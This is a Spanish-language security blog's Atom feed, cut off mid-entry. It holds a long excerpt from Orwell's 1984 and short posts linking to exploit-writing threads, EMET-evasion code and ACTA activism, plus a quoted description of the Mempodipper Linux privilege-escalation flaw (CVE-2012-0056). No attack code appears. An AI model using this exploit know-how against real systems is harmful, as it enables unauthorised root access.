<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-23164839</id><updated>2012-02-10T12:38:50.038+01:00</updated><category term='linux'/><category term='apache'/><category term='facebook'/><category term='scripting'/><category term='shellcode'/><category term='logs'/><category term='regedit'/><category term='php'/><category term='cookies'/><category term='wifi'/><category term='freeBSD'/><category term='perl'/><category term='ssh'/><category term='privacy'/><category term='monitorizacion'/><category term='bash'/><category term='offtopic'/><category term='tor'/><category term='forensics'/><category term='oracle'/><category term='c'/><category term='asm'/><category term='squid'/><category term='cisco'/><category term='HA'/><category term='pentesting'/><category term='hacks'/><category term='*nix'/><category term='video'/><category term='vbs'/><category term='windows'/><category term='irc'/><category term='HW'/><category term='solaris'/><category term='redes'/><category term='snort'/><category term='backup'/><title type='text'>~Unix &amp; Cisco &amp; Hacks~</title><subtitle type='html'>...Sometimes, hacks may be ugly and only exist because someone had an itch that needed scratching. To the engineer, a hack is the ultimate expression of the Do-It-Yourself sentiment: no one understands how a hack came to be better than the person who felt compelled to solve the problem in the first place. If a person with a bent for problem solving thinks a given hack is ugly, then they are almost always irresistibly motivated to go one better and hack the hack...</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://www.vlan7.org/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default?start-index=101&amp;max-results=100'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>150</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-23164839.post-7134738207200685017</id><published>2012-02-09T09:26:00.002+01:00</published><updated>2012-02-09T09:29:15.592+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='offtopic'/><title type='text'>-Tenemos que vernos otro día -dijo Winston. -Sí, tenemos que vemos-dijo ella.</title><content type='html'>&lt;a href="http://1.bp.blogspot.com/-tZo9L438ZEM/TzODY7K8o1I/AAAAAAAAARE/3uSkVcSiaMU/s1600/verdad.jpg"&gt;&lt;img style="float:center; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 400px; height: 226px;" src="http://1.bp.blogspot.com/-tZo9L438ZEM/TzODY7K8o1I/AAAAAAAAARE/3uSkVcSiaMU/s400/verdad.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5707049617032258386" /&gt;&lt;/a&gt;&lt;br /&gt;Le pasó aquel sobresalto. Volvió a poner la pieza en su sitio, pero por un instante no pudo concentrarse en el problema de ajedrez. Sus pensamientos volvieron a vagar. Casi conscientemente trazó con su dedo en el polvo de la mesa:&lt;br /&gt; &lt;br /&gt;2 + 2 =&lt;br /&gt; &lt;br /&gt;«Dentro de ti no pueden entrar nunca», le había dicho Julia. Pues, sí, podían penetrar en uno. «Lo que te ocurre aquí es para siempre», le había dicho O¹Brien. Eso era verdad. Había cosas, los actos propios, de las que no era posible rehacerse. Algo moría en el interior de la persona; algo se quemaba, se cauterizaba. Winston la había visto, incluso había hablado con ella. Ningún peligro había en esto. Winston sabía instintivamente que ahora casi no se interesaban por lo que él hacía. Podía haberse citado con ella si lo hubiera deseado. Esa única vez se habían encontrado por casualidad. Fue en el Parque, un día muy desagradable de marzo en que la tierra parecía hierro y toda la hierba había muerto. Winston andaba rápidamente contra el viento, con las manos heladas y los ojos acuosos, cuando la vio a menos de diez metros de distancia. Enseguida le sorprendió que había cambiado de un modo indefinible. Se cruzaron sin hacerse la menor señal. Él se volvió y la siguió, pero sin un interés desmedido. Sabía que ya no había peligro, que nadie se interesaba por ellos. Julia no le hablaba. Siguió andando en dirección oblicua sobre el césped, como si tratara de librarse de él, y luego pareció resignarse a llevarlo a su lado. Por fin, llegaron bajo unos arbustos pelados que no podían servir ni para esconderse ni para protegerse del viento. Allí se detuvieron. Hacía un frío molestísimo. El viento silbaba entre las ramas. Winston le rodeó la cintura con un brazo&lt;br /&gt; &lt;br /&gt;No había telepantallas, pero debía de haber micrófonos ocultos. Además, podían verlos desde cualquier parte. No importaba; nada importaba. Podrían haberse echado sobre el suelo y hacer eso si hubieran querido. Su carne se estremeció de horror tan sólo al pensarlo. Ella no respondió cuando la agarró del brazo, ni siquiera intentó desasirse. Ya sabía Winston lo que había cambiado en ella. Tenía el rostro más demacrado y una larga cicatriz, oculta en parte por el cabello, le cruzaba la frente y la sien; pero el verdadero cambio no radicaba en eso. Era que la cintura se le había ensanchado mucho y toda ella estaba rígida. Recordó Winston como una vez después de la explosión de una bomba cohete había ayudado a sacar un cadáver de entre unas ruinas y le había asombrado no sólo su increíble peso, sino su rigidez y lo dificil que resultaba manejarlo, de modo que más parecía piedra que carne. El cuerpo de Julia le producía ahora la misma sensación. Se le ocurrió pensar que la piel de esta mujer sería ahora de una contextura diferente.&lt;br /&gt; &lt;br /&gt;No intentó besarla ni hablaron. Cuando marchaban juntos por el césped, lo miró Julia a la cara por primera vez. Fue sólo una mirada fugaz, llena de desprecio y de repugnancia. Se preguntó Winston si esta aversión procedía sólo de sus relaciones pasadas, o si se la inspiraba también su desfigurado rostro y el agüilla que le salía de los ojos. Sentáronse en dos sillas de hierro uno al lado del otro, pero no demasiado juntos. Winston notó que Julia estaba a punto de hablar. Movió unos cuantos centímetros el basto zapato y aplastó con él una rama. Su pie parecía ahora más grande, pensó Winston. Julia, por fin, dijo sólo esto:&lt;br /&gt; &lt;br /&gt;-Te traicioné.&lt;br /&gt; &lt;br /&gt;-Yo también te traicioné -dijo él.&lt;br /&gt; &lt;br /&gt;Julia lo miró otra vez con disgusto. Y dijo:&lt;br /&gt; &lt;br /&gt;-A veces te amenazan con algo..., algo que no puedes soportar, que ni siquiera puedes imaginarte sin temblar. Y entonces dices: «No me lo hagas a mí, házselo a otra persona, a Fulano de Tal». Y quizá pretendas, más adelante, que fue sólo un truco y que lo dijiste únicamente para que dejaran de martirizarte y que no lo pensabas de verdad. Pero, no. Cuando ocurre eso se desea de verdad y se desea que a la otra persona se lo hicieran. Crees entonces que no hay otra manera de salvarte y estás dispuesto a salvarte así. Deseas de todo corazón que eso tan terrible le ocurra a la otra persona y no a ti. No te importa en absoluto lo que pueda sufrir. Sólo te importas entonces tú mismo.&lt;br /&gt; &lt;br /&gt;-Sólo te importas entonces tú mismo -repitió Winston como un eco.&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;-Y después de eso no puedes ya sentir por la otra persona lo mismo que antes.&lt;br /&gt; &lt;br /&gt;-No -dijo él-, no se siente lo mismo.&lt;br /&gt; &lt;br /&gt;No parecían tener más que decirse. El viento les pegaba a los cuerpos sus ligeros «monos». A los pocos instantes les producía una sensación embarazoso seguir allí callados. Además, hacía demasiado frío para estarse quietos. Julia dijo algo sobre que debía coger el Metro y se levantó para marcharse.&lt;br /&gt; &lt;br /&gt;-Tenemos que vernos otro día -dijo Winston.&lt;br /&gt; &lt;br /&gt;-Sí, tenemos que vemos-dijo ella.&lt;br /&gt; &lt;br /&gt;Winston, irresoluto, la siguió un poco. Iba a unos pasos detrás de ella. No volvieron a hablar. Aunque Julia no le dijo que se apartara, andaba muy rápida para evitar que fuese junto a ella. Winston se había decidido a acompañarla a la estación del Metro, pero de repente se le hizo un mundo tener que andar con tanto frío. Le parecía que aquello no tenía sentido. No era tanto el deseo de apartarse de Julia como el de regresar al café lo que le impulsaba, pues nunca le había atraído tanto El Nogal como en este momento. Tenía una visión nostálgica de su mesa del rincón, con el periódico, el ajedrez y la ginebra que fluía sin cesar. Sobre todo, allí haría calor. Por eso, poco después y no sólo accidentalmente, se dejó separar de ella por una pequeña aglomeración de gente. Hizo un desganado intento de volver a seguirla, pero disminuyó el paso y se volvió, marchando en dirección opuesta. Cinco metros más allá se volvió a mirar. No había demasiada circulación, pero ya no podía distinguirla. Julia podría haber sido cualquiera de doce figuras borrosas que se apresuraban en dirección al Metro. Es posible que no pudiera reconocer ya su cuerpo tan deformado.&lt;br /&gt; &lt;br /&gt;«Cuando ocurre eso, se desea de verdad», y él lo había pensado en serio. No solamente lo había dicho, sino que lo había deseado. Había deseado que fuera ella y no él quien tuviera que soportar a las...&lt;br /&gt; &lt;br /&gt;Se produjo un sutil cambio en la música que brotaba de la telepantalla. Apareció una nota humorística, «la nota amarilla». Una voz quizá no estuviera sucediendo de verdad, sino que fuera sólo un recuerdo que tomase forma de sonido cantaba:&lt;br /&gt; &lt;br /&gt;Bajo el Nogal de las ramas extendidas&lt;br /&gt; &lt;br /&gt;yo te vendí y tu me vendiste.&lt;br /&gt; &lt;br /&gt;Winston tenía los ojos más lacrimosos que de costumbre. Un camarero que pasaba junto a él vio que tenía vacío el vaso y volvió a llenárselo de la botella de ginebra.&lt;br /&gt; &lt;br /&gt;Winston olió el líquido. Aquello estaba más repugnante cuanto más lo bebía, pero era el elemento en que él nadaba. Era su vida, su muerte y su resurrección. La ginebra lo hundía cada noche en un sopor animal, y también era la ginebra lo que le hacía revivir todas las mañanas. Al despertarse rara vez antes de las once con los párpados pegajosos, una boca pastosa y la espalda que parecía habérsele partido le habría sido imposible echarse abajo de la cama si no hubiera tenido siempre en la mesa de noche la botella de ginebra y una taza. Durante la mañana se quedaba escuchando la telepantalla con una expresión pétrea y la botella siempre a mano. Desde las quince hasta la hora de cerrar, se pasaba todo el tiempo en El Nogal. Nadie se preocupaba de lo que hiciera, no le despertaba ningún silbato ni le dirigía advertencias la telepantalla. Dos veces a la semana iba a un despacho polvoriento, que parecía un rincón olvidado, en el Ministerio de la Verdad, y trabajaba un poco, si a aquello podía llamársele trabajo. Había sido nombrado miembro de un subcomité de otro subcomité que dependía de uno de los innumerables subcomités que se ocupaban de las dificultades de menos importancia planteadas por la preparación de la onceava edición del Diccionario de Neolengua. En aquel despacho se dedicaban a redactar algo que llamaban el informe provisional, pero Winston nunca había llegado a enterarse de qué tenían que informar. Tenía alguna relación con la cuestión de si las comas deben ser colocadas dentro o fuera de las comillas. Había otros cuatro en el subcomité, todos en situación semejante a la de Winston. Algunos días se marchaban apenas se habían reunido después de reconocer sinceramente que no había nada que hacer. Pero otros días se ponían a trabajar casi con encarnizamiento haciendo grandes alardes de aprovechamiento del tiempo redactando largos informes que nunca terminaban. En esas ocasiones discutían sobre cual era el asunto sobre cuya discusión se les había encargado y esto les llevaba a complicadas argumentaciones y sutiles distingos con interminables digresiones, peleas, amenazas e incluso recurrían a las autoridades superiores. Pero de pronto parecía retirárselas la vida y se quedaban inmóviles en torno a la mesa mirándose unos a otros con ojos apagados como fantasmas que se esfuman con el canto del gallo.&lt;br /&gt; &lt;br /&gt;La telepantalla estuvo un momento silenciosa. Winston levantó la cabeza otra vez. ¡El comunicado! Pero no, sólo era un cambio de música. Tenía el mapa de África detrás de los párpados, el movimiento de los ejércitos que él imaginaba era este diagrama; una flecha negra dirigiéndose verticalmente hacia el Sur y una flecha blanca en dirección horizontal, hacia el Este, cortando la cola de la primera. Como para darse ánimos, miró el imperturbable rostro del retrato. ¿Podía concebirse que la segunda flecha no existiera?&lt;br /&gt; &lt;br /&gt;Volvió a aflojársela el interés. Bebió más ginebra, cogió la pieza blanca e hizo un intento de jugada. Pero no era aquélla la jugada acertada, porque...&lt;br /&gt; &lt;br /&gt;Sin quererlo, le flotó en la memoria un recuerdo. Vio una habitación iluminada por la luz de una vela con una gran cama de madera clara y él, un chico de nueve o diez años que estaba sentado en el suelo agitando un cubilete de dados y riéndose excitado. Su madre estaba sentada frente a él y también se reía. Aquello debió de ocurrir un mes antes de desaparecer ella. Fueron unos momentos de reconciliación en que Winston no sentía aquel hambre imperiosa y le había vuelto temporalmente el cariño por su madre. Recordaba bien aquel día, un día húmedo de lluvia continua. El agua chorreaba monótona por los cristales de las ventanas y la luz del interior era demasiado débil para leer. El aburrimiento de los dos niños en la triste habitación era insoportable. Winston gimoteaba, pedía inútilmente que le dieran de comer, recorría la habitación revolviéndolo todo y dando patadas hasta que los vecinos tuvieron que protestar. Mientras, su hermanita lloraba sin parar. Al final le dijo su madre: «Sé bueno y te compraré un juguete. Sí, un juguete precioso que te gustará mucho». Y había salido a pesar de la lluvia para ir a unos almacenes que estaban abiertos a esa hora y volvió con una caja de cartón conteniendo el juego llamado «De las serpientes y las escaleras». Era muy modesto. El cartón estaba rasgado y los pequeños dados de madera, tan mal cortados que apenas se sostenían. Winston recordaba el olor a humedad del cartón. Había mirado el juego de mal humor. No le interesaba gran cosa. Pero entonces su madre encendió una vela y se sentaron en el suelo a jugar. Jugaron ocho veces ganando cuatro cada uno. La hermanita, demasiado pequeña para comprender de qué trataba el juego, miraba y se reía porque los veía reír a ellos dos. Habían pasado la tarde muy contentos, como cuando él era más pequeño.&lt;br /&gt; &lt;br /&gt;Apartó de su mente estas imágenes. Era un falso recuerdo. De vez en cuando le asaltaban falsos recuerdos. Esto no importaba mientras que se supiera lo que era. Winston volvió a fijar la atención en el tablero de ajedrez, pero casi en el mismo instante dio un salto como si lo hubieran pinchado con un alfiler.&lt;br /&gt; &lt;br /&gt;Un agudo trompetazo perforó el aire. Era el comunicado, ¡victoria!; siempre significaba victoria la llamada de la trompeta antes de las noticias. Una especie de corriente eléctrica recorrió a todos los que se hallaban en el café. Hasta los camareros se sobresaltaron y aguzaron el oído.&lt;br /&gt; &lt;br /&gt;La trompeta había dado paso a un enorme volumen de ruido. Una voz excitada gritaba en la telepantalla, pero apenas había empezado fue ahogada por una espantosa algarabía en las calles. La noticia se había difundido como por arte de magia. Winston había oído lo bastante para saber que todo había sucedido como él lo había previsto: una inmensa armada, reunida secretamente, un golpe repentino a la retaguardia del enemigo, la flecha blanca destrozando la cola de la flecha negra. Entre el estruendo se destacaban trozos de frases triunfales: «Amplia maniobra estratégica... perfecta coordinación... tremenda derrota medio millón de prisioneros... completa desmoralización... controlamos el África entera. La guerra se acerca a su final... victoria... la mayor victoria en la historia de la Humanidad. ¡Victoria, victoria, victoria!».&lt;br /&gt; &lt;br /&gt;Bajo la mesa, los pies de Winston hacían movimientos convulsivos. No se había movido de su asiento, pero mentalmente estaba corriendo, corriendo a vertiginosa velocidad, se mezclaba con la multitud, gritaba hasta ensordecer. Volvió a mirar el retrato del Gran Hermano. ¡Aquél era el coloso que dominaba el mundo! ¡La roca contra la cual se estrellaban en vano las hordas asiáticas! Recordó que sólo hacía diez minutos. sí, diez minutos tan sólo todavía se equivocaba su corazón al dudar si las noticias del frente serían de victoria o de derrota. ¡Ah, era más que un ejército eurasiático lo que había perecido! Mucho había cambiado en él desde aquel primer día en el Ministerio del Amor, pero hasta ahora no se había producido la cicatrización final e indispensable, el cambio salvador. La voz de la telepantalla seguía enumerando el botín, la matanza, los prisioneros, pero la gritería callejera había amainado un poco. Los camareros volvían a su trabajo. Uno de ellos acercó la botella de ginebra. Winston, sumergido en su feliz ensueño, no prestó atención mientras le llenaban el vaso. Ya no se veía corriendo ni gritando, sino de regreso al Ministerio del Amor, con todo olvidado, con el alma blanca como la nieve. Estaba confesándolo todo en un proceso público, comprometiendo a todos. Marchaba por un claro pasillo con la sensación de andar al sol y un guardia armado lo seguía. La bala tan esperada penetraba por fin en su cerebro.&lt;br /&gt; &lt;br /&gt;Contempló el enorme rostro. Le había costado cuarenta años saber qué clase de sonrisa era aquella oculta bajo el bigote negro. ¡Qué cruel e inútil incomprensión! ¡Qué tozudez la suya exilándose a sí mismo de aquel corazón amante! Dos lágrimas, perfumadas de ginebra, le resbalaron por las mejillas. Pero ya todo estaba arreglado, todo alcanzaba la perfección, la lucha había terminado. Se había vencido a sí mismo definitivamente. Amaba al Gran Hermano.&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-tZo9L438ZEM/TzODY7K8o1I/AAAAAAAAARE/3uSkVcSiaMU/s1600/verdad.jpg"&gt;&lt;img style="float:center; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 400px; height: 226px;" src="http://1.bp.blogspot.com/-tZo9L438ZEM/TzODY7K8o1I/AAAAAAAAARE/3uSkVcSiaMU/s400/verdad.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5707049617032258386" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-7134738207200685017?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=7134738207200685017' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/7134738207200685017'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/7134738207200685017'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2012/02/tenemos-que-vernos-otro-dia-dijo.html' title='-Tenemos que vernos otro día -dijo Winston. -Sí, tenemos que vemos-dijo ella.'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-tZo9L438ZEM/TzODY7K8o1I/AAAAAAAAARE/3uSkVcSiaMU/s72-c/verdad.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-3489809367865529205</id><published>2012-01-29T11:05:00.001+01:00</published><updated>2012-01-29T11:06:57.873+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='asm'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><title type='text'>Aprendiendo a hacer exploits</title><content type='html'>En &lt;a href="http://www.wadalbertia.org"&gt;&lt;b&gt;el mejor foro de seguridad del mundo&lt;/b&gt;&lt;/a&gt;, un hilo cuyo titulo es &lt;a href="http://www.wadalbertia.org/foro/viewtopic.php?f=6&amp;t=6542"&gt;&lt;b&gt;Syscall a exit(0) ASM incrustada en C. Problema de segfault.&lt;/b&gt;&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-3489809367865529205?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=3489809367865529205' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/3489809367865529205'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/3489809367865529205'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2012/01/aprendiendo-hacer-exploits.html' title='Aprendiendo a hacer exploits'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-6259893362431959149</id><published>2012-01-28T17:49:00.001+01:00</published><updated>2012-01-28T17:50:42.363+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><category scheme='http://www.blogger.com/atom/ns#' term='scripting'/><title type='text'>Correos de los diputados que tienen voz sobre ACTA</title><content type='html'>Nunca acabareis con nosotros.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://foro.overflowedminds.net/viewtopic.php?f=36&amp;t=56"&gt;&lt;b&gt;Overflowed Minds&lt;/b&gt;&lt;/a&gt; hacks your mind!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-6259893362431959149?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=6259893362431959149' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/6259893362431959149'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/6259893362431959149'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2012/01/correos-de-los-diputados-que-tienen-voz.html' title='Correos de los diputados que tienen voz sobre ACTA'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-303548646281620220</id><published>2012-01-25T12:59:00.001+01:00</published><updated>2012-01-25T13:00:46.041+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='asm'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><title type='text'>Codigo para evadir EMET</title><content type='html'>Se bienvenido a &lt;b&gt;&lt;a href="http://foro.overflowedminds.net/viewtopic.php?f=30&amp;p=1218"&gt;Overflowed Minds&lt;/a&gt;&lt;/b&gt;!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-303548646281620220?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=303548646281620220' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/303548646281620220'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/303548646281620220'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2012/01/codigo-para-evadir-emet.html' title='Codigo para evadir EMET'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-7712726772019349955</id><published>2012-01-24T16:04:00.001+01:00</published><updated>2012-01-24T16:06:48.301+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><title type='text'>Linux Local Privilege Escalation via SUID /proc/pid/mem Write</title><content type='html'>&lt;a href="http://blog.zx2c4.com/749"&gt;&lt;b&gt;http://blog.zx2c4.com/749&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Introducing Mempodipper, an exploit for CVE-2012-0056. /proc/pid/mem is an interface for reading and writing, directly, process memory by seeking around with the same addresses as the process’s virtual memory space. In 2.6.39, the protections against unauthorized access to /proc/pid/mem were deemed sufficient, and so the prior #ifdef that prevented write support for writing to arbitrary process memory was removed. Anyone with the correct permissions could write to process memory. It turns out, of course, that the permissions checking was done poorly. This means that all Linux kernels &gt;=2.6.39 are vulnerable, up until the fix commit for it a couple days ago. Let’s take the old kernel code step by step and learn what’s the matter with it.&lt;br /&gt;&lt;br /&gt;A falta de probarlo, tiene buena pinta.&lt;br /&gt;&lt;br /&gt;Enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-7712726772019349955?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=7712726772019349955' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/7712726772019349955'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/7712726772019349955'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2012/01/linux-local-privilege-escalation-via.html' title='Linux Local Privilege Escalation via SUID /proc/pid/mem Write'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-1502828360271700397</id><published>2011-12-25T18:14:00.000+01:00</published><updated>2011-12-25T18:16:16.281+01:00</updated><title type='text'>Anonymous hackea una empresa de seguridad, roba un millon de dolares y lo dona a caridad</title><content type='html'>&lt;a href="http://waronsociety.noblogs.org/?p=2686"&gt;&lt;b&gt;http://waronsociety.noblogs.org/?p=2686&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Feliz navidad.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-1502828360271700397?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=1502828360271700397' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/1502828360271700397'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/1502828360271700397'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2011/12/anonymous-hackea-una-empresa-de.html' title='Anonymous hackea una empresa de seguridad, roba un millon de dolares y lo dona a caridad'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-1616845589686093377</id><published>2011-12-21T11:33:00.002+01:00</published><updated>2012-01-24T14:26:44.398+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>Mama un consejo, la SOPA me deja sopa</title><content type='html'>&lt;a href="http://alt1040.com/2011/12/desopa-la-extension-para-firefox-que-ignora-el-bloqueo-dns"&gt;&lt;b&gt;http://alt1040.com/2011/12/desopa-la-extension-para-firefox-que-ignora-el-bloqueo-dns&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Sopa en sueco significa Basura.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-1616845589686093377?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=1616845589686093377' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/1616845589686093377'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/1616845589686093377'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2011/12/mama-un-consejo-eskorbuto-en-mi-sopa.html' title='Mama un consejo, la SOPA me deja sopa'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-7174399088069025766</id><published>2011-12-02T12:06:00.001+01:00</published><updated>2011-12-02T12:08:34.890+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><title type='text'>Hacking QR codes</title><content type='html'>&lt;a href="http://4.bp.blogspot.com/-ry5oBgbzDOE/TtixWJm1rcI/AAAAAAAAAMk/tcv-21i6I0A/s1600/qr_code.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 200px; height: 200px;" src="http://4.bp.blogspot.com/-ry5oBgbzDOE/TtixWJm1rcI/AAAAAAAAAMk/tcv-21i6I0A/s400/qr_code.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5681485924021939650" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Jugando a poner logos personalizados dentro de un codigo QR de esos de los nuevos moviles. ¿Que pondra?&lt;br /&gt;&lt;br /&gt;Un saludo.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 